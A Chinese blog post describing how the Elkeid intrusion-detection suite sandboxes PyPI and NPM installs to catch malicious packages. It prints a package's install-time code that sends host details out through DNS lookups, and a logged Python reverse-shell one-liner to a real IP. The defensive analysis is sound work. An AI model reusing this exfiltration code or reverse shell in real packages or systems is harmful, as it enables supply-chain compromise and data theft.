使用 Elkeid 分析供应链恶意软件包
2021-7-4 16:47:37 Author: mp.weixin.qq.com(查看原文) 阅读量:33 收藏

本文主要介绍使用 Elkeid 针对 PyPI 和 NPM 两种易受投毒的三方仓库进行恶意包分析。

Elkeid(https://github.com/bytedance/Elkeid) 是一个云原生的基于主机的入侵检测解决方案,可以同时在主机和运行时采集不同维度的数据,对入侵检测提供可靠精准的数据源。

恶意包常见手段与目的

  • 诱导安装,通常使用名称贴近的包名,且版本号尽量写大,比如:

blueshift_uv-9.9.0
azure_firewall-9.9.0
  • 执行代码,在安装过程中执行代码或是脚本命令完成攻击,比如:

"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "echo \"hacked by me\" && exit 1"
}
  • 反馈与建立链接

    • 读取机器敏感数据,发送到远程服务器。

    • 下载或建立后门。

    • 执行其他恶意程序。

分析思路

我们尝试使用 Elkeid 套件进行分析恶意包的动态行为,同时使用 Elkeid-HIDS 和 Elkeid-RASP(预计在 2021.07.10 开源)。

  • 使用虚拟机(QEMU)创建沙盒环境,部署 Elkeid-HIDS 和 Elkeid-RASP,同时执行下载并安装要分析的 PyPI 和 NPM 包。

  • 使用 Elkeid-HIDS 对操作系统关键 syscall 进行 Hook。

  • 使用 Elkeid-RASP 对解释器提供的关键函数进行 Hook。

  • 分析 Hook 数据是否存在可疑行为。

Python-PyPI

投毒途径

常见的 Python package 投毒通常由 setup.py 夹带,无论是在构建或是手动安装中都可以通过 pip 进行调用,例如:

nflx-kragle-scripts(https://pypi.org/simple/nflx-kragle-scripts/)

import nflx_kragle_scripts
import setuptools

setuptools.setup(
name='nflx_kragle_scripts',
version='6969.99.99',
author='nflx_kragle_scripts',
author_email='[email protected]',
description='nflx_kragle_scripts',
long_description='nflx_kragle_scripts',
long_description_content_type='text/markdown',
packages=setuptools.find_packages(),
classifiers=[
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 2",
]
)

在 import nflx_kragle_scripts 中:

'''
THIS IS NOT A MALICIOUS PACKAGE.

The code here is used for research purposes.

No sensitive data is retrieved.

If you have installed this package by mistake,
it is safe to simply uninstall it via pip.

Callbacks from within organizations with a
responsible disclosure program will be reported
directly to the organizations.

Any other callbacks will be ignored, and
any associated data will not be kept.

For any questions or suggestions:

[email protected]
https://twitter.com/alxbrsn

'''

import os
import socket
import json
import binascii
import random
import string

PACKAGE = 'nflx_kragle_scripts'
SUFFIX = '.dns.alexb'+'irsan-ha'+'cks-paypal.com';
NS = 'dns1.alexbir'+'san-hac'+'ks-paypal.com';

def generate_id():
return ''.join(random.choice(
string.ascii_lowercase + string.digits) for _ in range(12)
)

def get_hosts(data):

data = binascii.hexlify(data.encode('utf-8'))
data = [data[i:i+60] for i in range(0, len(data), 60)]
data_id = generate_id()

to_resolve = []
for idx, chunk in enumerate(data):
to_resolve.append(
'v2_f.{}.{}.{}.v2_e{}'.format(
data_id, idx, chunk.decode('ascii'), SUFFIX)
)

return to_resolve

def try_call(func, *args):
try:
return func(*args)
except:
return 'err'

data = {
'p' : PACKAGE,
'h' : try_call(socket.getfqdn),
'd' : try_call(os.path.expanduser, '~'),
'c' : try_call(os.getcwd)
}

data = json.dumps(data)

to_resolve = get_hosts(data)
for host in to_resolve:
try:
socket.gethostbyname(host)
except:
pass

to_resolve = get_hosts(data)
for host in to_resolve:
os.system('nslookup {} {}'.format(host, NS))

这段脚本在 pip 安装 nflx_kragle_scripts 后便会执行,可以很容易的替换其中的代码进行更多的恶意操作。

RASP:CPython Hook

利用 CPython 函数特性可以对 CPython 的函数进行替换:

class InstallFcnHook(object):
def __init__(self, fcn, ret_hook=False):
self.ret_hook = ret_hook
self._fcn = fcn

def __origin__(self):
return self._fcn

def __call__(self, *args, **kwargs):
_hook_args = args
_hook_kwargs = kwargs
# pre hook
self.pre_hook(*args, **kwargs)
# call origin function
ret_val = self._fcn(*_hook_args, **_hook_kwargs)
# post hook
self.post_hook(ret_val, *args, **kwargs)
return ret_val

def pre_hook(self, *args, **kwargs):
print("HOOK: ", args)

def post_hook(self, ret_val, *args, **kwargs):
pass

>>> os.system = InstallFcnHook(os.system)
>>> os.system
<<< <__main__.InstallFcnHook at 0x7ff78b5647c0>
>>> os.system('id')
HOOK: ('id',)
uid=1001(Gaba) gid=1001(Gaba) groups=1001(Gaba),999(docker),1000(mask),2001(admin)

于是对如下等函数进行Hook:

  • 命令执行:

    • os.system

    • os.popen

    • os.execv*

    • os.spawn*

    • subprocess.subprocess

  • 代码执行相关:

    • eval

    • exec

    • compile

  • 文件操作:

    • open

同时在 site.py 中静态加载 rasp 代码,解释器将会在初始化时完成对函数的 Hook。

关于 site.py 的静态 Hook 加载,可以参考 《Python RASP 工程化:一次入侵的思考》(https://www.cnblogs.com/qiyeboy/p/10359081.html)

行为收集与分析

通过 Elkeid-RASP 收集上述 Hook 数据, 通过 Elkeid-Agent 和 Elkeid-Server 将数据传递到分析平台,得出恶意包结论。
对于例子中的 pacakge,可以直接得到执行 nslookup 的行为,安全工程师可以定期筛选数据很快就能分析出恶意包行为,并定位到恶意包:

{
'RULE_INFO': {
'Action': None,
'AffectedTarget': 'Application',
'Author': 'Gaba',
'Desc': 'RASP CPython Command Exec',
'DesignateNode': None,
'FreqCountField': '',
'FreqCountType': '',
'FreqHitReset': False,
'FreqRange': 0,
'HarmLevel': 'high',
'KillChainID': '',
'RuleID': 'rasp_cpython_command_exec_01',
'RuleName': 'RASP_CPython_Command_Exec_01',
'RuleType': 'Detection',
'Threshold': ''
}
},
'SMITH_INPUT': 'rasp',
'SMITH_TIMESTAM': 1620880337945397470,
'agent_id': 'xxxxxxxx-xxxxx-xxxx-xxxx-xxxxxxxxxx',
'args': '["nslookup v2_f.rnudhx93gqf0.4.702d696e7374616c6c2d736e75695f766e332f6e666c782d6b7261676c65.v2_e.dns.alexbirsan-hacks-paypal.com dns1.alexbirsan-hacks-paypal.com"]',
'class_id': '1',
'data_type': '2439',
'ex_ipv4_list': '',
'ex_ipv6_list': '',
'hostname': 'elkeid-sandbox',
'message_type': '2',
'method_id': '1',
'pid': '505',
'rasp_timestamp': '1620880334.530596',
'runtime': 'CPython',
'runtime_version': '3.7.3',
'sandbox_callback': 'http://x.x.x.x.x:1997/pypi/pypi-nflx-jira|nflx-kragle-scripts|nflxprofile|nflyway|nfm|nfnets-keras|nfnets-pytorch|nfogen|nfogen_xbmc-23311',
'sandbox_task_id': 'pypi-nflx-23311',
'sandbox_task_type': 'pypi',
'stack_trace': '["{\\"filename\\": \\"<string>\\", \\"lineno\\": 1, \\"name\\": \\"<module>\\", \\"line\\": \\"\\"}","{\\"filename\\": \\"/usr/local/lib/python3.7/dist-packages/rasp/common/common_hook.py\\", \\"lineno\\": 35, \\"name\\": \\"__call__\\", \\"line\\": \\"ret_val = self._fcn(*_hook_args, **_hook_kwargs)\\"}","{\\"filename\\": \\"/tmp/pip-install-snui_vn3/nflx-kragle-scripts/setup.py\\", \\"lineno\\": 1, \\"name\\": \\"<module>\\", \\"line\\": \\"import nflx_kragle_scripts\\"}","{\\"filename\\": \\"<frozen importlib._bootstrap>\\", \\"lineno\\": 983, \\"name\\": \\"_find_and_load\\", \\"line\\": \\"\\"}","{\\"filename\\": \\"<frozen importlib._bootstrap>\\", \\"lineno\\": 967, \\"name\\": \\"_find_and_load_unlocked\\", \\"line\\": \\"\\"}","{\\"filename\\": \\"<frozen importlib._bootstrap>\\", \\"lineno\\": 677, \\"name\\": \\"_load_unlocked\\", \\"line\\": \\"\\"}","{\\"filename\\": \\"<frozen importlib._bootstrap_external>\\", \\"lineno\\": 728, \\"name\\": \\"exec_module\\", \\"line\\": \\"\\"}","{\\"filename\\": \\"<frozen importlib._bootstrap>\\", \\"lineno\\": 219, \\"name\\": \\"_call_with_frames_removed\\", \\"line\\": \\"\\"}","{\\"filename\\": \\"/usr/local/lib/python3.7/dist-packages/rasp/common/common_hook.py\\", \\"lineno\\": 35, \\"name\\": \\"__call__\\", \\"line\\": \\"ret_val = self._fcn(*_hook_args, **_hook_kwargs)\\"}","{\\"filename\\": \\"/tmp/pip-install-snui_vn3/nflx-kragle-scripts/nflx_kragle_scripts/__init__.py\\", \\"lineno\\": 84, \\"name\\": \\"<module>\\", \\"line\\": \\"os.system(\'nslookup {} {}\'.format(host, NS))\\"}","{\\"filename\\": \\"/usr/local/lib/python3.7/dist-packages/rasp/common/common_hook.py\\", \\"lineno\\": 33, \\"name\\": \\"__call__\\", \\"line\\": \\"self.pre_hook(*args, **kwargs)\\"}"]',
'tags': '',
'time_pkg': '1620880334',
'version': '2.3.3.66'
}

PyPI mirror 的问题

  • 官方即 pypi.org 并不会严格的校验 pacakge 的内容,给予恶意 package 生存土壤。

  • 下游的镜像源会存在「只做增量同步」的问题,对于 pypi.org 删除的 package,很多下游镜像源没有及时删除,导致恶意 package 长期存在。

  • 上传单纯的信息探测 package 并声称这无害,我们认为应该与后门一视同仁,或许他们只是想拿些 bug bounty。

NodeJS-NPM

NPM Scripts

在简单地运行 npm install package 这一条命令时,你机器的控制权便随时可能被包所有者掌控。npm安装过程从取回远端的package.json开始,一个典型的package.json例子如下:

{
"name": "example-package",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "echo \"hacked by me\" && exit 1"
},
"author": "",
"license": "ISC"
}

在安装开始时,你的终端就可以看到这行输出:

hacked by me

包所有者可以控制package.json的每一个字段,那么在现实世界中,一个黑客发布的preinstall可能会收集机器的敏感信息,或者简单粗暴地反弹shell获得机器控制权。

The "scripts" property of your package.json file supports a number of built-in scripts and their preset life cycle events as well as arbitrary scripts. These all can be executed by running npm run-script <stage> or npm run <stage> for short. Pre and post commands with matching names will be run for those as well (e.g. premyscript, myscript, postmyscript). Scripts from dependencies can be run with npm explore <pkg> -- npm run <stage>.

上面是 NPM 官方文档对 scripts 字段的描述,简而言之,在安装过程中会悄无声息地触发某些事件,例如执行于包安装之前的 preinstall,亦或是安装完成后收尾的 postinstall。这些本意用于增加构建灵活度的设计,却正中了黑帽子的下怀,因为 NPM 海量的三方库以及审核的困难程度,便造成了现在官方源里恶意组件泛滥的场景。

NPM Scripts Life Cycle

下面是在安装过程中,可能触发的脚本事件,它们在安装过程中按顺序执行:

  • preinstall

  • install

  • postinstall

  • prepublish

  • preprepare

  • prepare

  • postprepare

黑帽子在任何一个地方安插精心制作的陷阱,就能让你的机器瞬间沦陷。

RASP: NodeJs 调用监控

脚本事件都是通过Node本身的child_process模块执行的,也就是说如果我们可以对该函数进行Hook,那么便可以得知每个事件所对应执行的具体命令行,接着通过数据分析就可以精确地定位恶意包。此外我们甚至可以对Node的文件、网络进行Hook,如果脚本事件执行了一个Node编写的样本,那么我们便可以洞悉它的一举一动,为之后的排查提供线索。

const fs = require('fs');
const net = require('net');
const dns = require('dns');
const child_process = require('child_process');

function smithHook(fn, classID, methodID) {
return function(...args) {
// TODO: send arguments/stack to remote server
return fn.call(this, ...args);
}
}

child_process.ChildProcess.prototype.spawn = smithHook(child_process.ChildProcess.prototype.spawn, 0, 0);
child_process.spawnSync = smithHook(child_process.spawnSync, 0, 1);
child_process.execSync = smithHook(child_process.execSync, 0, 2);
child_process.execFileSync = smithHook(child_process.execFileSync, 0, 3);

fs.open = smithHook(fs.open, 1, 0);
fs.openSync = smithHook(fs.openSync, 1, 1);
fs.readFile = smithHook(fs.readFile, 1, 2);
fs.readFileSync = smithHook(fs.readFileSync, 1, 3);
fs.readdir = smithHook(fs.readdir, 1, 4);
fs.readdirSync = smithHook(fs.readdirSync, 1, 5);
fs.unlink = smithHook(fs.unlink, 1, 6);
fs.unlinkSync = smithHook(fs.unlinkSync, 1, 7);
fs.rmdir = smithHook(fs.rmdir, 1, 8);
fs.rmdirSync = smithHook(fs.rmdirSync, 1, 9);
fs.rename = smithHook(fs.rename, 1, 10);
fs.renameSync = smithHook(fs.renameSync, 1, 11);

net.Socket.prototype.connect = smithHook(net.Socket.prototype.connect, 2, 0);

dns.lookup = smithHook(dns.lookup, 3, 0);
dns.resolve = smithHook(dns.resolve, 3, 1);
dns.resolve4 = smithHook(dns.resolve4, 3, 2);
dns.resolve6 = smithHook(dns.resolve6, 3, 3);

上面是Elkeid Node RASP模块的核心代码,由于Javascript的动态特性,我们可以随时将底层API进行更改,替换成我们构造的闭包。在API发生调用时,实际先进入我们的smithHook函数,此时便可以将参数、调用栈信息打包发送至远端。此时唯一需要解决的问题是,如何让目标Node进程执行我们这一段Javascript代码。
在即将开源的Elkeid-RASP Node模块中,使用了Node Inspector功能,能够动态的将代码注入到目标进程中。当然,我们并不需要使用动态注入,因为我们的目的只是构建一个NPM沙盒,沙盒所有的一切都由我们掌控。

-r, --require module
 Added in: v1.6.0 Preload the specified module at startup. Follows require()'s module resolution rules. module may be either a path to a file, or a node module name. Only CommonJS modules are supported. Attempting to preload a ES6 Module using --require will fail with an error.

Node官方文档中,提到了--require这个命令行选项,它可以令Node在执行主函数前预先加载某个指定的模块。有了这个参数,构建沙盒的思路便明朗了,我们只需要将系统所有Node的调用都附加上这个参数:

#!/bin/bash
/usr/bin/node -r /root/smith.js "$@"

我们编写一个代理脚本并命名为"node",将脚本所在的路径加入PATH环境变量,并保证先于Node程序所在的路径。这样一来,所有运行的Node进程,都会被注入smith.js

遍历NPM源

想对NPM源进行遍历,必要条件便是知道该源所储存的所有包信息,包括名字、版本以及二进制。通过搜索后得知,大部分源都可以通过"NPM_URL/-/all"获取所有包信息,以淘宝源为例,可以执行:

curl "https://registry.npm.taobao.org/-/all" | jq 'keys[]' -r > npm.list

通过该命令可以得到淘宝源所储存的所有包名,接着可以通过迭代包名,在沙盒中执行npm install package来进行动态追踪分析。等所有包都安装后,分析smith.js所收集的信息,便可以准确定位到那些意图不轨的恶意包。

数据示例

某恶意样本执行反弹 shell 的 RASP 数据输出:

{
"pid":3315290,
"runtime":"node.js",
"runtime_version":"v14.16.0",
"time":1625380761195,
"message_type":2,
"probe_version":"1.0.0",
"data":{
"class_id":0,
"method_id":0,
"args":[
"/bin/sh -c python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"13.59.15.185\",12255)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
],
"stack_trace":[
"at ChildProcess.spawn (/etc/sysop/mongoosev3-agent/plugin/RASP/rasp/node/smith.js:42:28)",
"at spawn (child_process.js:553:9)",
"at Object.execFile (child_process.js:237:17)",
"at exec (child_process.js:158:25)",
"at /root/npm-tmp/446e4a14074a5dff33ab626a2620a52a/node_modules/karma-tmpl2html-preprocessor/install.js:21:9",
"at new Promise (\\u003canonymous\\u003e)",
"at runCommand (/root/npm-tmp/446e4a14074a5dff33ab626a2620a52a/node_modules/karma-tmpl2html-preprocessor/install.js:20:12)",
"at /root/npm-tmp/446e4a14074a5dff33ab626a2620a52a/node_modules/karma-tmpl2html-preprocessor/install.js:37:15"
]
}
}

数据链路

即此,我们完成了对与 PyPI 和 NPM 两种 package 来源的分析,我们利用 Elkeid 套件完成了整体的分析过程,构建了一套沙盒体系,目前共检出存量数百个风险 pacakge, 配合定期包下载和工程师的定期检查分析数据,可以完成对公司镜像源的保护。
这是我们沙箱的架构图:

关于投毒的长期观察

Elkeid 将会整合目前的监测能力,长期对供应链风险进行观察与分析,相信不久就会做为独立的沙箱产品与大家见面。
同时 Elkeid 项目与字节跳动无恒实验室长期合作,会定期公布恶意包检测成果,无恒实验室独家披露:超1000个针对软件供应链的恶意组件包


文章来源: https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&mid=2247483968&idx=1&sn=11c7c852dbce0f260a7d953afbc292b9&chksm=ea305695dd47df83928b901ca4338c5d7dc966b76da4124ac169a2ca91ba1fe8bd677fd22667&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh